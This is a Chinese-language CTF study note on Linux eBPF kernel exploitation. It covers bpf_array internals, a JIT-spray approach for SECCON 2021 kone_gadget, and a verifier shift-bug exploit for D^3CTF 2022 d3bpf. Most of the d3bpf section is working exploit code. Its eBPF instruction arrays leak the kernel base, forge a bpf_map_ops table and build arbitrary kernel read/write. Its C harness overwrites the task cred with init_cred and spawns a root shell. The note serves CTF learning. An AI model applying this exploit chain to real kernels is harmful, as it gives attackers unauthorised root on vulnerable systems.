/proc/sys/kernel/unprivileged_bpf_disabled可以检查是否能执行
- Values:
- 0 - Unprivileged calls to
bpf()are enabled - 1 - Unprivileged calls to
bpf()are disabled without recovery - 2 - Unprivileged calls to
bpf()are disabled
调试
查结构体
在分配一个array类型的map的时候(ebpf pwn中我们通常都使用type为array的map),会调用函数array_map_alloc(路径:/kernel/bpf/arraymap.c)分配struct bpf_array这个函数:
- 调用函数
bpf_map_area_alloc,分配struct bpf_array - 返回
&array->map,也就是返回bpf_array的struct bpf_map,array的首地址
0xffffffff9b5d4d37 <array_map_alloc+151>: mov BYTE PTR [rbp-0x2d],r8b
0xffffffff9b5d4d3b <array_map_alloc+155>: call 0xffffffff9b595030 <bpf_map_area_alloc>
0xffffffff9b5d4d40 <array_map_alloc+160>: movzx r8d,BYTE PTR [rbp-0x2d]fin这个函数后还没有分配struct bpf_map中的ops,会在这个函数的上层函数__do_sys_bpf中设置ops字段
ops只有一个,不同的bpf_map都指向同一个ops
调试命令:
b array_map_alloc
c
fin
set $array1 = $rax实际执行bpf程序
这里的内核版本是6.12.47
断在sk_filter_trim_cap中,
0xffffffffb3da8d37 <sk_filter_trim_cap+151>: mov rdi,rbx
0xffffffffb3da8d3a <sk_filter_trim_cap+154>: call 0xffffffffb3f6a940 <__x86_indirect_thunk_rax>
0xffffffffb3da8d3f <sk_filter_trim_cap+159>: mov r15d,eax当程序停在 0xffffffffb3da8d3a 时,这个指令就是call rax。此时 RAX 寄存器里存的就是 eBPF 程序 JIT 编译后的入口地址。
pwndbg> p/x $rip
$8 = 0xffffffffb3da8d3a
pwndbg> i r rax
rax 0xffffffffc022566c -1071491476
pwndbg> vmmap 0xffffffffc022566c
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0xffffffffb49a3000 0xffffffffb4e00000 rw-p 45d000 462000 kernel [.bss]
► 0xffffffffc0225000 0xffffffffc0425000 r-xp 200000 0 kernel [.driver .bpf] +0x66c
pwndbg>按s步入之后,就是在执行编译后的bpf程序了
这里的程序能对应上:
pwndbg> p/x $rip
$9 = 0xffffffffc022566c
pwndbg> x/30i 0xffffffffc022566c
=> 0xffffffffc022566c: endbr64
0xffffffffc0225670: nop DWORD PTR [rax+rax*1+0x0]
0xffffffffc0225675: nop DWORD PTR [rax]
0xffffffffc0225678: push rbp
0xffffffffc0225679: mov rbp,rsp
0xffffffffc022567c: endbr64
0xffffffffc0225680: sub rsp,0x8
0xffffffffc0225687: push rbx
0xffffffffc0225688: push r13
0xffffffffc022568a: push r14
0xffffffffc022568c: push r15
0xffffffffc022568e: xor eax,eax #BPF_MOV64_IMM(BPF_REG_0, 0),
0xffffffffc0225690: mov edi,0x63626160 #BPF_MOV64_IMM(BPF_REG_1, test),
0xffffffffc0225695: mov DWORD PTR [rbp-0x4],eax #BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
0xffffffffc0225698: lfence
0xffffffffc022569b: mov rbx,rdi #BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),
0xffffffffc022569e: movabs rdi,0xffffa2eb81e43000 #BPF_LD_MAP_FD(BPF_REG_1, oob_map),
0xffffffffc02256a8: mov rsi,rbp #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
0xffffffffc02256ab: add rsi,0xfffffffffffffffc #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
0xffffffffc02256af: add rdi,0xf8
0xffffffffc02256b6: mov eax,DWORD PTR [rsi+0x0]
0xffffffffc02256b9: cmp rax,0x1
0xffffffffc02256bd: jae 0xffffffffc02256ce
0xffffffffc02256bf: and eax,0x0
0xffffffffc02256c2: imul rax,rax,0x150
0xffffffffc02256c9: add rax,rdi
0xffffffffc02256cc: jmp 0xffffffffc02256d0
0xffffffffc02256ce: xor eax,eax
0xffffffffc02256d0: test rax,rax
0xffffffffc02256d3: jne 0xffffffffc02256de size_t test = 0;
memcpy(&test, "\x60\x61\x62\x63\x64\x65\x66\x67", 8);
struct bpf_insn kleak_prog[] = {
// load map_ptr_or_null in BPF_REG_0
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_MOV64_IMM(BPF_REG_1, test),
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),
BPF_LD_MAP_FD(BPF_REG_1, oob_map),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem), // returns map_ptr + 0x110 (offset of .values in array_map)pwndbg
pwndbg有一个命令kbpf,但是题目编译的内核一般用不了这个命令,少了点东西
pwn
当我们用bpf系统调用创建了一个类型为BPF_MAP_TYPE_ARRAY的map的时候,会创建一个结构体:
struct bpf_array {
struct bpf_map map; /* 0 240 */
/* --- cacheline 3 boundary (192 bytes) was 48 bytes ago --- */
u32 elem_size; /* 240 4 */
u32 index_mask; /* 244 4 */
struct bpf_array_aux * aux; /* 248 8 */
/* --- cacheline 4 boundary (256 bytes) --- */
union {
struct {
struct {
} __empty_value; /* 256 0 */
char value[0]; /* 256 0 */
}; /* 256 0 */
struct {
struct {
} __empty_ptrs; /* 256 0 */
void * ptrs[0]; /* 256 0 */
}; /* 256 0 */
struct {
struct {
} __empty_pptrs; /* 256 0 */
void * pptrs[0]; /* 256 0 */
}; /* 256 0 */
}; /* 256 0 */
/* size: 256, cachelines: 4, members: 5 */
};struct bpf_array {
struct bpf_map map;
u32 elem_size;
u32 index_mask;
struct bpf_array_aux *aux;
union {
DECLARE_FLEX_ARRAY(char, value) __aligned(8);
DECLARE_FLEX_ARRAY(void *, ptrs) __aligned(8);
DECLARE_FLEX_ARRAY(void __percpu *, pptrs) __aligned(8);
};
};其中最重要的就是第一个成员:
/* include/linux/bpf.h */
struct bpf_map {
const struct bpf_map_ops * ops; /* 0 8 */
struct bpf_map * inner_map_meta; /* 8 8 */
void * security; /* 16 8 */
enum bpf_map_type map_type; /* 24 4 */
u32 key_size; /* 28 4 */
u32 value_size; /* 32 4 */
u32 max_entries; /* 36 4 */
u64 map_extra; /* 40 8 */
u32 map_flags; /* 48 4 */
u32 id; /* 52 4 */
struct btf_record * record; /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
int numa_node; /* 64 4 */
u32 btf_key_type_id; /* 68 4 */
u32 btf_value_type_id; /* 72 4 */
u32 btf_vmlinux_value_type_id; /* 76 4 */
struct btf * btf; /* 80 8 */
char name[16]; /* 88 16 */
struct mutex freeze_mutex; /* 104 32 */
/* --- cacheline 2 boundary (128 bytes) was 8 bytes ago --- */
atomic64_t refcnt; /* 136 8 */
atomic64_t usercnt; /* 144 8 */
union {
struct work_struct work; /* 152 32 */
struct callback_head rcu; /* 152 16 */
}; /* 152 32 */
atomic64_t writecnt; /* 184 8 */
/* --- cacheline 3 boundary (192 bytes) --- */
struct {
const struct btf_type * attach_func_proto; /* 192 8 */
spinlock_t lock; /* 200 4 */
enum bpf_prog_type type; /* 204 4 */
bool jited; /* 208 1 */
bool xdp_has_frags; /* 209 1 */
} owner; /* 192 24 */
/* XXX last struct has 6 bytes of padding */
bool bypass_spec_v1; /* 216 1 */
bool frozen; /* 217 1 */
bool free_after_mult_rcu_gp; /* 218 1 */
bool free_after_rcu_gp; /* 219 1 */
/* XXX 4 bytes hole, try to pack */
atomic64_t sleepable_refcnt; /* 224 8 */
s64 * elem_count; /* 232 8 */
/* size: 240, cachelines: 4, members: 29 */
/* sum members: 236, holes: 1, sum holes: 4 */
/* paddings: 1, sum paddings: 6 */
/* last cacheline: 48 bytes */
};bpf_map_ops中存的是一系列虚表函数。通常,我们需要通过越界读写等手段,修改这个虚表
// include/linux/bpf.h
/* map is generic key/value storage optionally accessible by eBPF programs */
struct bpf_map_ops {
// ...
/* funcs callable from userspace and from eBPF programs */
void *(*map_lookup_elem)(struct bpf_map *map, void *key);
long (*map_update_elem)(struct bpf_map *map, void *key, void *value, u64 flags);
long (*map_delete_elem)(struct bpf_map *map, void *key);
long (*map_push_elem)(struct bpf_map *map, void *value, u64 flags);
long (*map_pop_elem)(struct bpf_map *map, void *value);
// ...
};- 泄露地址:把
ops写回bpf_array中的values域中,读出来即可 - 任意地址读写:在
values中伪造一个ops,劫持ops指针指向这个伪造的ops,这样调用某个虚表函数其实是调用我们想要调用的函数
helper function是内核定义的函数,能被ebpf程序调用
总结
核心在于:构造一个 runtime (/kernel/bpf/core.c) 和 verifier (/kernel/bpf/verifier.c) 不一致的寄存器(inconsistent register)
verifier、patch 中需要重点关注 adjust_scalar_min_max_vals函数
低版本内核(5.11.17之前)中,可以用 inconsisten register加上 ptr 类型的寄存器进行越界,之后不行,转到使用 bpf_skb_load_bytes 这个 helper function 进行溢出
例题
SEC CON CTF 2021 kone_gadget
JIT 类型的 ebpf pwn
mkdir initramfs
cd initramfs
cp ../rootfs.cpio .
sudo cpio -idm < ./rootfs.cpio
rm rootfs.cpiogcc exp.c -static -masm=intel -g -o ./initramfs/exp
cd ./initramfs
sudo find . | sudo cpio -o --format=newc >../rootfs.cpio
cd ..提供了一个新的系统调用,能控制rip,但是其他寄存器都置0
Added to arch/x86/entry/syscalls/syscall_64.tbl:
1337 64 seccon sys_seccon
Added to kernel/sys.c:
SYSCALL_DEFINE1(seccon, unsigned long, rip)
{
asm volatile("xor %%edx, %%edx;"
"xor %%ebx, %%ebx;"
"xor %%ecx, %%ecx;"
"xor %%edi, %%edi;"
"xor %%esi, %%esi;"
"xor %%r8d, %%r8d;"
"xor %%r9d, %%r9d;"
"xor %%r10d, %%r10d;"
"xor %%r11d, %%r11d;"
"xor %%r12d, %%r12d;"
"xor %%r13d, %%r13d;"
"xor %%r14d, %%r14d;"
"xor %%r15d, %%r15d;"
"xor %%ebp, %%ebp;"
"xor %%esp, %%esp;"
"jmp %0;"
"ud2;"
: : "rax"(rip));
return 0;
}大概思路就是往内核中写入一个one_gadget,调用它就能提权
同时,题目也禁掉了bpf系统调用
写了个exp:
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <errno.h>
int main() {
// 尝试调用 bpf 系统调用
long ret = syscall(321, 0, 0, 0); // 321 是 x64 下 bpf 的调用号
if (ret == -1 && errno == ENOSYS) {
printf("内核不支持该系统调用 (ENOSYS)\n");
} else {
printf("内核支持该系统调用,返回值为: %ld\n", ret);
}
return 0;
}/ $ ./exp
内核不支持该系统调用 (ENOSYS)/ # cat /proc/sys/net/core/bpf_jit_enable
1来自AI:
如果是:
2 → 致盲开启,老套路基本死
1 → 还能打
0 → 先想办法打开 JIT没开致盲
但是,平时我们自定义的沙箱规则其实就是一段bpf程序,它会被写入内核空间中。
所以,思路就是使用prctl写入一段bpf程序到内核中,调用seccon系统调用,控制rip执行这段我们自定义的程序来提权
- 程序怎么写?
- 怎么执行到这段程序?
编写shellcode
- 开了
smep、smap保护,需要写cr4寄存器为0x6f0来绕过 - 开了
kpti,通过执行swapgs_restore_regs_and_return_to_usermode,切换页表后返回用户态提权
写入的指令需要是ebpf格式,经过jit编译后,是x86指令
这里两篇参考文章构造的ebpf指令格式都是,p32(0)+p32(A),经过jit编译后他会变成0xb8+p32(A)存入内存中
这里的
ebpf指令的opcode被设置为0,其实是设置成了BPF_LD | BPF_IMM | BPF_W,也就是ldw
pwndbg> x/32b 0xffffffffc00005d0
0xffffffffc00005d0: 0x48 0x89 0xc7 0x04 0xb8 0x58 0x90 0xeb
0xffffffffc00005d8: 0x01 0xb8 0xff 0xd0 0xeb 0x01 0xb8 0x58
0xffffffffc00005e0: 0x90 0xeb 0x01 0xb8 0xff 0xe0 0xeb 0x01
0xffffffffc00005e8: 0xb8 0x90 0x90 0xeb 0x01 0xb8 0x90 0x90每两个A直接间隔一个0xb8,跳过0xb8的思路有两种:
- 写A中的一个字节为
0x3c和0xb8组成cmp al, 0xb8:
内存 x86
0xb0 0x12 mov al, 0x12
0x90 nop
0x3c 0xb8 cmp al, 0xb8 ;用0x3c吃掉一个0xb8
0xb4 0x34 mov ah, 0x34
0x90 nop
0x3c ... ... ;继续吃掉下一个0xb8- 写A中的两个字节为
0xeb 0x01(PC = PC+1),来跳过0xb8
内存 x86
0xb0 0x12 mov al, 0x12
0xeb 0x01 jmp $+3 ;直接过0xb8, 进入mov ah, 0x34, 效果等价于PC = PC+1
0xb8
0xb4 0x34 mov ah, 0x34
0xeb 0x01 jmp $+3
...参考文章1用的是思路1(但是打不通,不知道为什么),参考文章2用的是思路2
D^3CTF 2022__d3bpf
这里的bzImage可以直接用vmlinux-to-elf提取
patch后,如果对一个寄存器右移的位数大于insn_bitness(ALU32运算为32,ALU64为64),则verifier认为该寄存器全部bit已知(补充:指针不可以与标记为unknown的寄存器进行ALU运算),且verifier认为其值为0
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 37581919e..8e98d4af5 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -6455,11 +6455,11 @@ static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
scalar_min_max_lsh(dst_reg, &src_reg);
break;
case BPF_RSH:
- if (umax_val >= insn_bitness) {
- /* Shifts greater than 31 or 63 are undefined.
- * This includes shifts by a negative number.
- */
- mark_reg_unknown(env, regs, insn->dst_reg);
+ if (umin_val >= insn_bitness) {
+ if (alu32)
+ __mark_reg32_known(dst_reg, 0);
+ else
+ __mark_reg_known_zero(dst_reg);
break;
}
if (alu32)把这个patch翻译一下:
BPF_MOV64_IMM(BPF_REG_0, 0x1337),
BPF_MOV64_IMM(BPF_REG_1, 64),
BPF_ALU64_REG(BPF_RSH, BPF_REG_0, BPF_REG_1),
BPF_EXIT_INSN()那么,verifier就会认为这个reg0为已知(known)的寄存器,且其值确定为0。
但是实际上core.c中进行右移运算的时候,会把右移位数&63,所以实际上CPU执行的运算是0x1337 >> 0。
/* ALU (shifts) */
#define SHT(OPCODE, OP) \
ALU64_##OPCODE##_X: \
DST = DST OP (SRC & 63); \
CONT;这里就伪造了一个绕过verifier检查的标量寄存器,我们利用这个标量寄存器和一些指针寄存器进行ALU运算,就造成了越界读写
intel 手册 SAL/SAR/SHL/SHR—Shift 小节中:
The destination operand can be a register or a memory location. The count operand can be an immediate value or the CL register. The count is masked to 5 bits (or 6 bits if in 64-bit mode and REX.W is used). The count range is limited to 0 to 31 (or 63 if 64-bit mode and REX.W is used).
虽然CPU会 masked to 5 or 6 bits,但是我感觉主要的原因还是在
core.c中?
任意地址读写
写入array_map_update_elem 、ARRAY_MAP_LOOKUP_ELEM、array_of_map_gen_lookup、array_map_free
array_of_map_gen_lookup
有个map类型是BPF_MAP_TYPE_ARRAY_OF_MAPS,它是一个存储map的数组,它的lookup_elem函数会解引用两次
static void *array_of_map_lookup_elem(struct bpf_map *map, void *key)
{
struct bpf_map **inner_map = array_map_lookup_elem(map, key);
if (!inner_map)
return NULL;
return READ_ONCE(*inner_map);
}把map_lookup_elem改成array_of_map_gen_lookup后,使用 lookup_element时verifier会认为它返回了一个指向map_value的指针,但是实际上返回的东西是用户可以控制的,因为他会再次解引用用户传入的东西
思路流程
- 先初始化
stack-4 - 保存r1中存的
ctx到r6,后续需要使用到ctx就会到r6中找 - 调用辅助函数
BPF_FUNC_map_lookup_elem,第一个参数为执行map的指针,第二个参数为key,值为0。返回值存在r0,为一个指向value域的地址(struct bpf_array) - 调用完辅助函数后,
verifier认为r0中的值的类型为PTR_TO_MAP_VALUE_OR_NULL,要对他进行非0验证,让他收敛(refine)成PTR_TO_MAP_VALUE才能进行解引用或者其他一些操作 - 构造一个绕过
verifier检测的寄存器,让他指向value - 0x110这个地方,也就是虚表指针 - 把他写回
value域,泄露出来
struct bpf_insn kleak_prog[] = {
// load map_ptr_or_null in BPF_REG_0
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),
BPF_LD_MAP_FD(BPF_REG_1, oob_map_fd),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem), // returns map_ptr + 0x110 (offset of .values in array_map)
// map_ptr_or_null -> map_ptr
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
// trigger vuln and make eBPF think we are still map_ptr + 0x110 but in reality we're map_ptr + 0x0
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
// ALU Sanitation will set alu_limit = 0 but alu_limit - 1 will be used hence any value can be used
BPF_MOV64_IMM(BPF_REG_0, 0x110),
BPF_MOV64_IMM(BPF_REG_1, 64),
BPF_ALU64_REG(BPF_RSH, BPF_REG_0, BPF_REG_1), // the bug
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_0), //reg7 = map_ptr - 0x110 reg7_verifier = map_ptr
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), // load the ptr (kbase leak) reg8 = *(map_ptr - 0x110)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0xc0), // map_ptr + 0x0 -> map_ptr + 0xc0
BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_7, 0), // load the ptr (heap leak)
// write the read ptr to map for reading it from userspace
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x50), // make map_ptr + 0xc0 to map_ptr + 0x110
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), // write array_map_ops ptr to maps_ptr + 0x110
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_9, 8), // write *(map_ptr + 0xc0) to maps_ptr + 0x118
BPF_EXIT_INSN(),
};- 获取
oob_map的value地址,在其中伪造fake_ops,主要写入array_map_update_elem、ARRAY_MAP_LOOKUP_ELEM、array_of_map_gen_lookup、array_map_free - 改
arb_read_write_map的ops指向fake_ops
struct bpf_insn overwrite_ops[] = {
BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_LD_MAP_FD(BPF_REG_1, oob_map_fd),
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
// setup fake bpf_map_ops struct with only needed values
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), // move map_ptr + 0x110
BPF_MOV64_IMM(BPF_REG_0, kbase + ARRAY_MAP_UPDATE_ELEM_OFFSET),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0x60),
BPF_MOV64_IMM(BPF_REG_0, kbase + ARRAY_MAP_LOOKUP_ELEM_OFFSET), //array_map_lookup_elem
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0x58),
BPF_MOV64_IMM(BPF_REG_0, kbase + 0x20e9c0), // array_of_map_gen_lookup
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 19 * 8),
BPF_MOV64_IMM(BPF_REG_0, kbase + 0x20eff0), // array_map_free
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 3 * 8),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_LD_MAP_FD(BPF_REG_1, arb_read_write_map_fd),
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem), // get values ptr
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
// trigger vuln
BPF_MOV64_IMM(BPF_REG_0, 0x110),
BPF_MOV64_IMM(BPF_REG_1, 64),
BPF_ALU64_REG(BPF_RSH, BPF_REG_0, BPF_REG_1),
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_0),
BPF_LD_IMM64(BPF_REG_0, map_ptr_values),
// overwrite map_ops with oob_map_ptr
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_EXIT_INSN(),
};- 把
arb_read_write_map的value地址存到r8,info_map的value地址存到r9 - 通过
BPF_LD_ABS(BPF_B, 0),,根据接收到的数据是0还是1决定调用arb_read还是arb_write
arb_read时:通过arb_read把要读的东西的地址写到arb_read_write_map中,再把这个地址写入info_map,通过bpf_map_lookup_elem(实际上执行的是ARRAY_MAP_LOOKUP_ELEM,会进行两次解引用)读这个地址中的内容,并返回arb_write时:在arb_read_write_map中写入存储addr的地址,info_map中写入存储值的地址,把info_map的值存入arb_read_write_map,通过BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0)执行*addr(r8) = value(r7)
struct bpf_insn arb_read_write[] = {
BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_STX_MEM(BPF_W, BPF_REG_10, 0, -4),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_LD_MAP_FD(BPF_REG_1, arb_read_write_map_fd),
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem), // will use array_of_map_gen_lookup
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
BPF_LD_ABS(BPF_B, 0),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // decide bit for arb_read or arb_write
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_LD_MAP_FD(BPF_REG_1, info_map_fd),
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JEQ, BPF_REG_9, 1, 4),
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), // arb_read
BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_7, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0), // arb_write
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
setup_bpf_prog(arb_read_write, sizeof(arb_read_write)/sizeof(arb_read_write[0]));
uint64_t current_task_struct = arb_read(arb_read(__per_cpu_offset) + current_task);
uint64_t init_cred = kbase + INIT_CRED_OFFSET;
arb_write(current_task_struct + CRED_OFFSET, init_cred);
system("/bin/sh");exp
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <syscall.h>
#include <linux/bpf.h>
#include <sys/socket.h>
#include "bpf_insn.h"
#define ARRAY_MAP_OPS_OFFSET 0x10363a0
#define ARRAY_MAP_LOOKUP_ELEM_OFFSET 0x20e830
#define ARRAY_MAP_UPDATE_ELEM_OFFSET 0x20eeb0
#define PERCPU_OFFSET 0x149c900
#define current_task 0x17bc0
#define INIT_CRED_OFFSET 0x1a6b880
#define CRED_OFFSET 0xad8
int socks[2] = {-1};
int oob_map_fd, arb_read_write_map_fd, info_map_fd;
int bpf(int cmd, union bpf_attr *attr){
return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}
int bpf_prog_load(union bpf_attr *attr){
return bpf(BPF_PROG_LOAD, attr);
}
int bpf_map_create(uint32_t key_size, uint32_t value_size, uint32_t max_entries){
union bpf_attr attr = {
.map_type = BPF_MAP_TYPE_ARRAY,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return bpf(BPF_MAP_CREATE, &attr);
}
int bpf_map_update_elem(int map_fd, uint64_t key, uint64_t* value, uint64_t flags){
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t) &key,
.value = (uint64_t) value,
.flags = flags
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}
uint64_t bpf_map_lookup_elem(int map_fd, uint32_t key, int index){
uint64_t value[0x150/8] = {};
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t) &key,
.value = (uint64_t) &value,
};
bpf(BPF_MAP_LOOKUP_ELEM, &attr);
return value[index];
}
union bpf_attr* create_bpf_prog(struct bpf_insn *insns, unsigned int insn_cnt){
union bpf_attr *attr = (union bpf_attr *) malloc(sizeof(union bpf_attr));
attr->prog_type = BPF_PROG_TYPE_SOCKET_FILTER;
attr->insn_cnt = insn_cnt;
attr->insns = (uint64_t) insns;
attr->license = (uint64_t)"";
return attr;
}
uint64_t arb_read(uint64_t addr){
int req = 0;
bpf_map_update_elem(arb_read_write_map_fd, 0, &addr, BPF_ANY);
write(socks[1], &req, sizeof(req));
return bpf_map_lookup_elem(info_map_fd, 0, 0);
}
int arb_write(uint64_t addr, uint64_t val){
int req = 1;
bpf_map_update_elem(arb_read_write_map_fd, 0, &addr, BPF_ANY);
bpf_map_update_elem(info_map_fd, 0, &val, BPF_ANY);
write(socks[1], &req, sizeof(req));
return bpf_map_lookup_elem(info_map_fd, 0, 0) == val;
}
int attach_socket(int prog_fd){
if(socks[0] == -1 && socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0){
perror("socketpair");
exit(1);
}
if(setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0){
perror("setsockopt");
exit(1);
}
}
void setup_bpf_prog(struct bpf_insn *insns, uint insncnt){
union bpf_attr *prog = create_bpf_prog(insns, insncnt);
int prog_fd = bpf_prog_load(prog);
if(prog_fd < 0){
perror("prog_load");
exit(1);
}
attach_socket(prog_fd);
}
// void setup_bpf_prog(struct bpf_insn *insns, uint insncnt) {
// // 1. 定义一个足够大的缓冲区来存放内核日志
// static char log_buf[1024 * 1024];
// union bpf_attr *prog = create_bpf_prog(insns, insncnt);
// // 2. 注入日志参数
// prog->log_level = 2; // 级别 2 会显示指令重写 (Patching) 详情
// prog->log_buf = (uint64_t)log_buf;
// prog->log_size = sizeof(log_buf);
// int prog_fd = bpf_prog_load(prog);
// // 3. 打印日志
// // 无论成功还是失败,打印 log_buf 都能看到 Verifier 做了什么
// if (prog_fd < 0) {
// printf("--- Verifier Log (Error) ---\n%s\n", log_buf);
// perror("prog_load");
// exit(1);
// } else {
// // 如果你想看成功加载后的指令(包含 ALU Sanitation),也打印出来
// printf("--- Verifier Log (Success) ---\n%s\n", log_buf);
// }
// attach_socket(prog_fd);
// free(prog); // 记得释放 malloc 的内存
// }
void run_bpf_prog(struct bpf_insn *insns, uint insncnt){
int val = 0;
setup_bpf_prog(insns, insncnt);
write(socks[1], &val, sizeof(val));
}
int main(){
uint64_t idx = 0;
struct bpf_map_info map_info = {};
oob_map_fd = bpf_map_create(4, 0x150, 1);
arb_read_write_map_fd = bpf_map_create(4, 8, 1);
info_map_fd = bpf_map_create(4, 8, 1);
if(oob_map_fd < 0){
perror("create_map");
return 1;
}
struct bpf_insn kleak_prog[] = {
// load map_ptr_or_null in BPF_REG_0
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),
BPF_LD_MAP_FD(BPF_REG_1, oob_map_fd),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem), // returns map_ptr + 0x110 (offset of .values in array_map)
// map_ptr_or_null -> map_ptr
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
// trigger vuln and make eBPF think we are still map_ptr + 0x110 but in reality we're map_ptr + 0x0
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
// ALU Sanitation will set alu_limit = 0 but alu_limit - 1 will be used hence any value can be used
BPF_MOV64_IMM(BPF_REG_0, 0x110),
BPF_MOV64_IMM(BPF_REG_1, 64),
BPF_ALU64_REG(BPF_RSH, BPF_REG_0, BPF_REG_1), // the bug
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_0),
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), // load the ptr (kbase leak)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0xc0), // map_ptr + 0x0 -> map_ptr + 0xc0
BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_7, 0), // load the ptr (heap leak)
// write the read ptr to map for reading it from userspace
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x50), // make map_ptr + 0xc0 to map_ptr + 0x110
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), // write array_map_ops ptr to maps_ptr + 0x110
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_9, 8), // write *(map_ptr + 0xc0) to maps_ptr + 0x118
BPF_EXIT_INSN(),
};
run_bpf_prog(kleak_prog, sizeof(kleak_prog)/sizeof(kleak_prog[0]));
uint64_t array_map_ops = bpf_map_lookup_elem(oob_map_fd, 0, 0);
uint64_t map_ptr = bpf_map_lookup_elem(oob_map_fd, 0, 1) - 0xc0;
